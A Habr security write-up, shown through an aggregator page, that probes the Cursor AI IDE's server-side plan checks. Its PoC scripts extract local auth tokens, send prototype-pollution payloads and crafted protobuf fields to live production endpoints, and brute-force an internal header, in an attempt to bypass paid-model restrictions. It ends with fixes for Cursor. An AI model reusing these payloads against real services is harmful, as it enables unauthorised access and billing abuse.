惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

AI
AI
GbyAI
GbyAI
Blog — PlanetScale
Blog — PlanetScale
F
Fortinet All Blogs
Microsoft Azure Blog
Microsoft Azure Blog
L
LangChain Blog
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
U
Unit 42
aimingoo的专栏
aimingoo的专栏
N
Netflix TechBlog - Medium
H
Hackread – Cybersecurity News, Data Breaches, AI and More
A
About on SuperTechFans
B
Blog
I
InfoQ
T
The Exploit Database - CXSecurity.com
H
Heimdal Security Blog
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
L
LINUX DO - 最新话题
Google Online Security Blog
Google Online Security Blog
D
Darknet – Hacking Tools, Hacker News & Cyber Security
Help Net Security
Help Net Security
Stack Overflow Blog
Stack Overflow Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
T
Threat Research - Cisco Blogs
量子位
P
Privacy & Cybersecurity Law Blog
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
SecWiki News
SecWiki News
S
Security @ Cisco Blogs
Cisco Talos Blog
Cisco Talos Blog
博客园_首页
The Last Watchdog
The Last Watchdog
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
小众软件
小众软件
有赞技术团队
有赞技术团队
NISL@THU
NISL@THU
WordPress大学
WordPress大学
K
Kaspersky official blog
D
DataBreaches.Net
Hugging Face - Blog
Hugging Face - Blog
Vercel News
Vercel News
雷峰网
雷峰网
Webroot Blog
Webroot Blog
B
Blog RSS Feed
W
WeLiveSecurity
Scott Helme
Scott Helme
A
Arctic Wolf
阮一峰的网络日志
阮一峰的网络日志
G
Google Developers Blog
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания Автономность как точка невозврата: кто будет субъектом в цифровом будущем Обучение ИИ в «диких» условиях: как рутинные действия превращаются в датасеты Как измерить LLM для задач кибербеза: обзор открытых бенчмарков Где хранить код? Сравнение GitHub, GitLab и Bitbucket Математика объясняет, почему нормальное распределение встречается повсюду Почему ваш FinOps не работает: 12 тезисов от практиков Как подписать проектную документацию УКЭП с использованием бесплатных лицензий Pilot Адаптивное администрирование Sigla Vision Я грузил уран в бочки, а потом 20 лет строил ИТ в атомной отрасли Чем позвонить с Эвереста? История и обзор спутниковой связи. Часть 2 Как языковая модель помогает контролировать качество инструктажей по охране труда в металлургии Как не передать на desktop свой IP в РКН Анатомия SAP Privileges: как устроено управление правами в macOS MoneyDev: Сказка про три главных слова Обновлённый токенизатор видео K-VAE 2.0 от Сбера Как сделать диспетчеризацию дома на 1284 квартиры почти бесплатно Как мы разогнали железную дорогу Мы дали агентам рутину. Теперь надо решить — что делать с освободившимся временем Токсичный контент, промпт-хакинг и защита ИИ — всё о Guardrails для LLM Умный город начинается с точного взгляда: как «Фалькон Тех» меняет пространство к лучшему Навайбкодил приложение для анализа графов Почему Дюну так интересно читать? Упрощаем работу с рутиной или как стать Гендальфом Белым Деконструкция Go: CPU, RAM и что там происходит. Go Assembler база. Часть 1.1 Какие профессии исчезнут из-за ИИ, а какие появятся? И что с этим делать Как мы построили IT-отдел, где хочется расти: архитектурные встречи, прозрачные метрики и книжные подарки Rufler: Делаем из Claude Code автономный рой через один YAML-конфиг Sing-box и белый список приложений Как построить надёжный обмен сообщениями в микросервисах: лучшие практики для enterprise OpenAI строит MLM-пирамиду, а McKinsey и Accenture помогают ей в этом Дом, который не построил Фишер (Часть 2) «Сверхзвуковой математик» против «Вдумчивого логиста»: битва алгоритмов 3D-упаковки Мультимодальные модели – грубый и дорогой инструмент Разговоры ничего не стоят. Код тоже Проверки физических лиц: с кого начнет ФНС Топ-10 бесплатных нейросетей для создания видео в 2026 году Первые слои кода: как наши решения сегодня определяют архитектуру ИИ на десятилетия Разработка нового статического анализатора: PVS-Studio JavaScript Поиск уязвимостей ПО: базовый минимум или роскошный максимум Почему оценка персонала не работает как инструмент управления Как мы разработали ИИ-ассистента и сократили рутину продуктовой команды на 50% Как я ушел из найма, нажарил косточек и продал на маркетплейсах на 168 млн в год Когда 1С:ERP уже внедрена, а нормального производственного плана всё ещё нет Как я сделал Claude мультимодальным, подключив к нему Qwen Omni Как приглашение на вакансию мечты превращается в атаку Infrastructure as Code: философия и лучшие практики IaC Тестируем Yandex Code Assistant на задаче, в которой нужно хранить секреты nxs-universal-chart v3.0: новое поколение универсального Helm-чарта Callback Injection: Техника, которая отправила Microsoft Defender в глухой нокаут «Все идеи на стол»: митап как способ вывести проект из тупика Сегодня я узнал нечто новое о GPU благодаря багу в своей игре Как заставить LLM ̶ ̶г̶а̶л̶л̶ю̶ ̶ эволюционировать Карта событий как фундамент аналитики: практический кейс для E-commerce Что выбрать для AI: x86, ARM или RISC-V? Дайджест железа за март Роль соматических мутаций в развитии аутоиммунных заболеваний: путь к избирательной терапии Mythos от Anthropic — тревожный сигнал для всех, а не только для банков Guardrails для LLM на Java: как приручить промпт‑инъекции и токсичные ответы Green-VLA: как мы собрали VLA-модель для реального антропоморфного робота и не потеряли обобщение Финансовая гонка вооружений: почему умные люди добровольно в ней участвуют Эра ИИ-агентов наступила: выбираем лучшего цифрового сотрудника # Практический опыт внедрения WinCC Redundancy на производственном предприятии Сделал MVP за 3 дня, а потом неделю прикручивал оплату. Оно того стоило? Физика против Маска: почему Starship V3 может оказаться ещё одной катастрофой Нефть Венесуэлы: крупнейшие запасы в мире, но не крупнейшая нефтяная держава JPA 4. Переосмысление Hibernate Почему зеркальная фотокамера Nikon D5 десятилетней давности идеально подошла для миссии «Артемида-2» Проект «Уровень-Спутник» или как мы сделали платформу для гидрологов «Замедлиться, чтобы ускориться»: почему ИИ повышает цену ошибок в требованиях и архитектуре Как с нуля поднять трафик IT-компании на 1657% при бюджете 55 тыс. и выжить Pixel-perfect Downsampling — идеальная отрисовка 50 миллионов точек без потерь
Охота на CVE в Cursor IDE: полный технический разбор безопасности AI-редактора
Svortex · 2026-04-27 · via Все публикации подряд на Хабре

Уровень сложностиСложный

Время на прочтение11 мин

Охват и читатели193

Кейс

Disclaimer: исследование проводилось исключительно в образовательных целях. Все найденные уязвимости были задокументированы. Никакие данные третьих лиц не были скомпрометированы. Автор не несёт ответственности за использование описанных техник.

Вступление

Cursor — AI-powered IDE на базе VS Code, которая обрабатывает миллионы строк кода разработчиков через свои серверы. Когда я задумался о безопасности этого продукта, возник вопрос: насколько надёжна серверная модель авторизации, которая стоит между бесплатным пользователем и Claude 4 Opus?

Спойлер: серьёзного bypass я не нашёл — Cursor реально неплохо защищён. Но по пути я обнаружил 4 уязвимости класса CVE, полностью реверс-инжинирнул API-surface, извлёк protobuf-схемы из 1.1M строк минифицированного JS и нашёл скрытый dev-бэкдор в production-серверах.

Вот что получилось.


Содержание

  1. Разведка: декомпиляция клиента

  2. Архитектура: Connect-RPC, протоколы, аутентификация

  3. Полная карта API-surface

  4. CVE-1: Prototype Pollution (CWE-1321)

  5. CVE-2: devRawModelSlug — скрытый бэкдор (CWE-489)

  6. CVE-3: Internal Service Header Information Disclosure (CWE-200)

  7. CVE-4: Protobuf Field Injection & Wire Type Confusion

  8. Протестированные вектора без результата

  9. Что Cursor делает правильно

  10. Выводы и рекомендации


1. Разведка: декомпиляция клиента

Cursor основан на VS Code (Electron). Весь клиентский код лежит в:

resources/app/out/vs/workbench/workbench.desktop.main.js

1,144,696 строк минифицированного JavaScript. Этот файл — золотая жила: тут все protobuf-определения, URL-ы API, OAuth-флоу, Statsig feature gates и логика маршрутизации моделей.

Извлечение protobuf-схем

Cursor использует Connect-RPC (https://connectrpc.com/) — современный RPC-фреймворк поверх HTTP/2. Все сервисы определены прямо в JS-бандле:

// Найдено через grep "typeName.*agent.v1"
var $hl = {
    typeName: "agent.v1.AgentService",
    methods: {
        run: {
            name: "Run",
            I: ndi,   // AgentRunRequest
            O: CPt,   // AgentRunResponse (streaming)
            kind: vn.ServerStreaming
        },
        // ...
    }
};

Для извлечения полей использовал цепочку grep → sed → ручной анализ:

grep -n "typeName.*agent.v1.AgentRunRequest" workbench.desktop.main.js
# -> 448073: C(ndi, "typeName", "agent.v1.AgentRunRequest"), C(ndi, "fields"...
sed -n '448073,448200p' workbench.desktop.main.js

Результат — полная proto-схема AgentRunRequest:

// Восстановленная схема (17 клиентских полей)
message AgentRunRequest {
  ConversationState conversation_state = 1;
  Action action = 2;
  ModelDetails model_details = 3;       // ← модель для plan check
  McpTools mcp_tools = 4;
  string conversation_id = 5;
  McpFileSystemOptions mcp_file_system_options = 6;
  SkillOptions skill_options = 7;
  string custom_system_prompt = 8;
  RequestedModel requested_model = 9;   // ← модель для routing
  bool suggest_next_prompt = 10;
  string subagent_type_name = 11;
  bool exclude_workspace_context = 12;
  string harness = 13;
  repeated RequestedModel selected_subagent_models = 14;
  repeated ModelDetails selected_subagent_model_details = 15;
  string conversation_group_id = 16;
  repeated PreFetchedBlobs pre_fetched_blobs = 17;
  // string dev_raw_model_slug = 18;    // ← СЕРВЕРНОЕ ПОЛЕ, нет в клиенте!
}

Ключевая находка: поле 18 (devRawModelSlug) отсутствует в клиентском коде, но сервер его принимает и обрабатывает. Об этом ниже.

Извлечение токенов

Cursor хранит аутентификацию в SQLite:

import sqlite3
VSCDB = "~/.config/Cursor/User/globalStorage/state.vscdb"
con = sqlite3.connect(VSCDB)
row = con.execute(
    "SELECT value FROM ItemTable WHERE key='cursorAuth/accessToken'"
).fetchone()
TOKEN = row[0].strip('"')

JWT-токен содержит стандартные claims:

{
  "sub": "auth0|...",
  "iss": "https://prod.authentication.cursor.sh/",
  "aud": "https://cursor.com",
  "iat": 1751457906,
  "exp": 1752062706,
  "scope": "openid profile email offline_access",
  "azp": "KbZUR41cY7W6zRSdpSUJ7I7mLYBKOCmB"
}

Заметьте: никаких claims о подписке или плане. Проверка подписки происходит полностью на сервере.


2. Архитектура

Стек

Client (Electron) 
  ↓ HTTP/2 + Connect-RPC
API Gateway (api2.cursor.sh, api5.cursor.sh)
  ↓ 
Agent Service (model routing, plan check)
  ↓
LLM providers (OpenAI, Anthropic, Google)

Протокол: Connect-RPC

Connect-RPC фреймирует protobuf в HTTP/2:

[1 byte flags][4 bytes length][protobuf payload]
  • flags=0x00: data frame

  • flags=0x02: trailer frame (JSON с ошибками/метаданными)

Пример фрейминга:

import struct
# Создание Connect-RPC сообщения
def frame(proto_bytes):
    return struct.pack('>BI', 0, len(proto_bytes)) + proto_bytes + \
           struct.pack('>BI', 2, 0)  # пустой trailer

Checksum-алгоритм

Cursor использует кастомный checksum для валидации запросов:

def cursor_checksum(machine_id, mac_machine_id):
    S = int(time.time() * 1000) // 1_000_000
    x = bytearray([
        (S >> 40) & 0xFF, (S >> 32) & 0xFF,
        (S >> 24) & 0xFF, (S >> 16) & 0xFF,
        (S >> 8) & 0xFF,   S & 0xFF
    ])
    e = 165  # seed
    for t in range(len(x)):
        x[t] = ((x[t] ^ e) + t % 256) & 0xFF
        e = x[t]
    encoded = base64.urlsafe_b64encode(bytes(x)).rstrip(b'=')
    return encoded.decode() + machine_id + '/' + mac_machine_id

Алгоритм реверснут из workbench.desktop.main.js. Timestamp-based, детерминированный — воспроизводится тривиально.

Список серверов

https://api2.cursor.sh         — основной API
https://agent.api5.cursor.sh   — agent-специфичный
https://agentn.api5.cursor.sh  — agent (новый?)
https://agent-gcpp-uswest.api5.cursor.sh
https://agentn-gcpp-eucentral.api5.cursor.sh
https://agentn-gcpp-apsoutheast.api5.cursor.sh
https://repo42.cursor.sh       — репозиторий?

3. Полная карта API-surface

gRPC-сервисы (Connect-RPC)

Сервис

Метод

Тип

agent.v1.AgentService

Run

ServerStreaming

agent.v1.AgentService

GetDefaultModelForCli

Unary

agent.v1.AgentService

UploadConversationBlobs

Unary

aiserver.v1.DashboardService

GetUsage

Unary

aiserver.v1.DashboardService

ActivatePromotion

Unary

aiserver.v1.DashboardService

GetAllowedModelIntents

Unary

aiserver.v1.BackgroundComposerService

StartBackgroundComposerFromSnapshot

Unary

aiserver.v1.BackgroundComposerService

AttachBackgroundComposer

ServerStreaming

aiserver.v1.BackgroundComposerService

ListBackgroundComposers

Unary

REST-эндпоинты

Путь

Метод

Описание

/auth/full_stripe_profile

GET

Профиль подписки

/auth/start-subscription-now

POST

Активация подписки

/auth/me

GET

Информация о пользователе

Statsig Feature Gates (извлечено 40+)

cc_override_agent_backend     — выбор agent backend
user_is_professional          — проверка pro-статуса
explicit_subagent_models      — явные модели для subagent
enable_ide_enterprise_plan_usage
use_model_parameters
agent_review_fake_dev

4. CVE-1: Prototype Pollution (CWE-1321)

Severity: Medium (DoS, потенциальная эскалация) Endpoint: POST /auth/start-subscription-now Impact: Server crash (HTTP 500), изменение пути обработки

Описание

JSON-эндпоинты Cursor парсят тело запроса без санитизации __proto__. При отправке payload с __proto__ сервер возвращает 500 Internal Server Error вместо ожидаемого 400 Cannot upgrade free user.

PoC

import httpx, json

payload = {
    "tier": "pro",
    "__proto__": {
        "membershipType": "pro",
        "hasActiveSubscription": True
    }
}

r = httpx.post(
    "https://api2.cursor.sh/auth/start-subscription-now",
    content=json.dumps(payload).encode(),
    headers={
        "authorization": "Bearer <token>",
        "content-type": "application/json"
    }
)
print(r.status_code, r.text)

Результаты тестирования

Payload

Ожидаемый ответ

Фактический ответ

{"tier": "pro"}

400 “Cannot upgrade free user”

400 ✓

{"tier": "pro", "__proto__": {...}}

400

500 “Error”

{"constructor": {"prototype": {...}}}

400

500 “Error”

{"__proto__": {"tier": "pro"}}

400

500 “Error”

Все 10 вариаций с __proto__ вызывают 500 вместо 400. Это подтверждает, что объект prototype chain загрязняется до момента проверки подписки, вызывая необработанное исключение.

Аналогичное поведение на ActivatePromotion:

# Нормальный ответ: "Unknown promo type id"
payload = {"promoTypeId": "test"}

# С __proto__: "invalid_argument" (ДРУГАЯ ошибка!)
payload = {"promoTypeId": "test", "__proto__": {"isValid": True}}

Эндпоинт ActivatePromotion с __proto__ возвращает invalid_argument вместо Unknown promo type id — pollution меняет путь валидации.

Импакт

  • DoS: любой аутентифицированный пользователь может вызвать 500-ку на billing endpoints

  • Потенциальная эскалация: если pollution проникает в shared state (маловероятно в production, но зависит от архитектуры)


5. CVE-2: devRawModelSlug — скрытый бэкдор (CWE-489)

Severity: Medium (Active Debug Code in Production) Field: AgentRunRequest.dev_raw_model_slug (proto field 18) Impact: Наличие dev-механизма прямого bypass model routing в production

Обнаружение

При систематическом сканировании всех proto-полей (1-50) на AgentRunRequest:

for field_num in range(1, 51):
    extra = proto_field(field_num, wire_type=2, value="pro")
    body = build_agent_request("gpt-4o", extra_fields=extra)
    response = send(body)
    if "Free plans" not in response:
        print(f"!!! field {field_num}: {response}")

Поля 6, 7, 8, 10-17 → parse error или plan_block (ожидаемо). Поле 18 → уникальный ответ:

devRawModelSlug is not available

Анализ

  1. Поле 18 отсутствует в клиентском коде — grep по 1.1M строк не находит devRawModelSlug в proto-определениях клиента

  2. Сервер его парсит и валидирует — возвращает специфическое сообщение об ошибке, а не generic parse error

  3. Проверка происходит ДО plan check — при f3=default (проходит free check) + f18=gpt-4o → ошибка devRawModelSlug, а не plan_block

  4. Одинаково на ВСЕХ серверах:

api2.cursor.sh                         → "devRawModelSlug is not available"
agent.api5.cursor.sh                   → "devRawModelSlug is not available"
agentn.api5.cursor.sh                  → "devRawModelSlug is not available"
agent-gcpp-uswest.api5.cursor.sh       → "devRawModelSlug is not available"
agentn-gcpp-eucentral.api5.cursor.sh   → "devRawModelSlug is not available"
agentn-gcpp-apsoutheast.api5.cursor.sh → "devRawModelSlug is not available"

PoC

import struct

def varint(v):
    r = bytearray()
    while v > 0x7f:
        r.append((v & 0x7f) | 0x80)
        v >>= 7
    r.append(v & 0x7f)
    return bytes(r)

def proto_field(num, wire_type, value):
    tag = varint((num << 3) | wire_type)
    if wire_type == 2:  # length-delimited
        data = value.encode() if isinstance(value, str) else value
        return tag + varint(len(data)) + data
    return b''

# Поле 18 = devRawModelSlug с именем premium-модели
field_18 = proto_field(18, 2, "gpt-4o")

# Стандартные поля AgentRunRequest
model_details = proto_field(1, 2, "default")  # field 3: проходит plan check
run_request = (
    proto_field(1, 2, b'') +             # conversation_state
    proto_field(2, 2, action_bytes) +     # action
    proto_field(3, 2, model_details) +    # model_details = "default"
    proto_field(5, 2, conv_id) +          # conversation_id
    proto_field(9, 2, requested_model) +  # requested_model
    proto_field(16, 2, group_id) +        # conversation_group_id
    field_18                               # devRawModelSlug = "gpt-4o"
)

# Connect-RPC framing
body = struct.pack('>BI', 0, len(outer)) + outer + struct.pack('>BI', 2, 0)

Почему это CWE-489

devRawModelSlug — это механизм для разработчиков, позволяющий напрямую указать backend-модель, минуя стандартную маршрутизацию. В production он отключён, но:

  • Код обработки присутствует в production-бинарнике

  • Сервер парсит и валидирует это поле (не игнорирует)

  • Ошибка выдаёт имя поля, раскрывая внутреннюю архитектуру

  • Если флаг отключения будет снят (ошибка конфигурации, feature flag), поле мгновенно станет рабочим


6. CVE-3: Internal Service Header Leak (CWE-200)

Endpoint: GET /agent.v1.AgentService/GetAllowedModelIntents Impact: раскрытие архитектуры внутреннего service mesh

Описание

Метод GetAllowedModelIntents обнаружен в клиентском JS:

getAllowedModelIntents: {
    name: "GetAllowedModelIntents",
    I: QCm,  // request type
    O: XCm,  // response type
    kind: vn.Unary
}

При вызове с обычным Bearer-токеном:

HTTP 401: "Invalid internal service header"

Анализ

Ответ "Invalid internal service header" вместо generic 401 Unauthorized или 404 Not Found раскрывает:

  1. Эндпоинт существует и обрабатывается (не 404)

  2. Используется service-to-service аутентификация (внутренний заголовок)

  3. Есть отдельный механизм авторизации для внутренних сервисов

Брутфорс заголовков (25+ комбинаций) не дал результата — внутренний токен не является производным от пользовательского.


7. CVE-4: Protobuf Field Injection & Wire Type Confusion

7.1 Дублирование field 3 (Double Field Injection)

Protobuf позволяет отправить одно и то же поле дважды. По спецификации, для singular-полей последнее значение побеждает. Но что если plan check и routing читают разные значения?

# Два поля field 3: сначала opus, потом default
md_opus = proto_field(1, 2, "claude-4-opus")
md_default = proto_field(1, 2, "default")

run_request = (
    proto_field(3, 2, md_opus) +    # первый model_details
    proto_field(3, 2, md_default) +  # второй model_details
    # ...
)

Результат: сервер корректно берёт последнее значение для обоих проверок. Bypass не работает, но сервер не отклоняет дублированное поле — это нарушение принципа strict parsing.

7.2 Wire Type Confusion

Отправка model_id (обычно string, wire type 2) как varint (wire type 0):

# Нормально: field 1, wire type 2 (string), value "default"
normal = b'\x0a\x07default'

# Атака: field 1, wire type 0 (varint), value 0
confused = b'\x08\x00'  # (1 << 3) | 0 = 0x08, varint 0

Результат: parse binary: illegal tag — сервер отклоняет. Парсер достаточно строгий.

7.3 Subagent Field Injection

Поля 14 (selected_subagent_models) и 15 (selected_subagent_model_details) принимают premium-модели без plan check:

run_request = (
    proto_field(3, 2, model_details("default")) +   # plan check ✓
    proto_field(14, 2, requested_model("gpt-4o")) +  # no plan check!
    proto_field(15, 2, model_details("gpt-4o")) +    # no plan check!
)

Запрос проходит и стримится. Однако, при анализе ответа — модель-ответчик идентична обычному запросу с “default” (Codex 5.3). Поля 14/15 игнорируются при routing, но не валидируются — это увеличивает attack surface при будущих изменениях.


8. Что ещё было протестировано (без результата)

Для полноты картины — полный список проверенных векторов:

Вектор

Результат

Почему не работает

Model name bruteforce (42 модели)

Plan blocked

Серверная проверка по имени

requested_model vs model_details confusion

Blocked

Одна и та же проверка

JWT claim manipulation

N/A

Claims не содержат план; проверка из БД

OAuth callback injection

Blocked

WorkOS nonce validation

Stripe webhook replay

500

Signature verification

start-subscription-now с разными tier

400

Требует активную подписку

Content-Type confusion (gRPC vs Connect)

415/500

Строгая проверка Content-Type

Internal service header brute force

401

Токен не derivable

Host header override

404

Load balancer routing

custom_system_prompt (field 8)

Rejected

“unknown option --system-prompt”

harness + subagent_type_name

Plan blocked

Не влияют на plan check

Integer overflow в billing

404

Endpoints не существуют

gRPC Server Reflection

404

Отключено

Feature flag headers

No effect

Серверные gates не управляются клиентом

Race condition на subscription

N/A

Атомарная проверка


9. Что Cursor делает правильно

Нужно отдать должное — по результатам аудита, Cursor демонстрирует зрелую security-модель:

  1. Plan check полностью серверный — никаких claims в JWT о подписке. Проверка идёт из базы данных на каждый запрос.

  2. Строгий protobuf parsing — wire type confusion отклоняется; неизвестные поля не влияют на routing.

  3. Stripe webhook signature — webhook-эндпоинт требует валидную Stripe-подпись, replay невозможен.

  4. OAuth nonce validation — WorkOS callback проверяет nonce, injection невозможен.

  5. Единая проверка моделиmodel_details и requested_model проходят одну и ту же проверку, дублирование поля берёт последнее значение корректно.

  6. Connect-RPC вместо raw gRPC — упрощает auditing и мониторинг, грамотный выбор.


10. Выводы и рекомендации

Найденные уязвимости

ID

Тип

CWE

Severity

Описание

CURSOR-2025-001

Prototype Pollution

CWE-1321

Medium

__proto__ в JSON вызывает 500 на billing endpoints

CURSOR-2025-002

Active Debug Code

CWE-489

Medium

devRawModelSlug парсится в production

CURSOR-2025-003

Info Disclosure

CWE-200

Low

GetAllowedModelIntents раскрывает service mesh

CURSOR-2025-004

Improper Input Validation

CWE-20

Low

Subagent fields не валидируются

Рекомендации для Cursor

  1. Санитизировать __proto__ и constructor в JSON-парсинге. Использовать Object.create(null) или библиотеку типа secure-json-parse.

  2. Удалить devRawModelSlug из production proto-схемы или как минимум не возвращать имя поля в ошибке.

  3. Унифицировать ошибки авторизацииGetAllowedModelIntents должен возвращать generic 404 вместо “Invalid internal service header”.

  4. Валидировать все proto-поля — отклонять запросы с неожиданными полями в selected_subagent_models / selected_subagent_model_details.

Инструментарий

Весь research проведён с помощью:

  • Python 3 + httpx (HTTP/2 клиент)

  • Ручная сериализация protobuf (без .proto файлов)

  • grep / sed для анализа минифицированного JS

  • SQLite3 для извлечения токенов

Итог

Cursor — один из наиболее security-aware AI-продуктов, которые я исследовал. Plan check полностью серверный, JWT не содержит привилегий, protobuf parsing строгий. Тем не менее, prototype pollution и наличие dev-бэкдора в production — это реальные issues, которые стоит исправить.

Если вы делаете SaaS с серверной авторизацией — вот чеклист из этого исследования:

  • ✅ Не храните привилегии в JWT

  • ✅ Проверяйте план из БД на каждый запрос

  • ✅ Используйте строгий proto parsing

  • ❌ Не оставляйте dev-поля в production proto

  • ❌ Не раскрывайте внутренние имена через ошибки

  • ❌ Санитизируйте __proto__ в JSON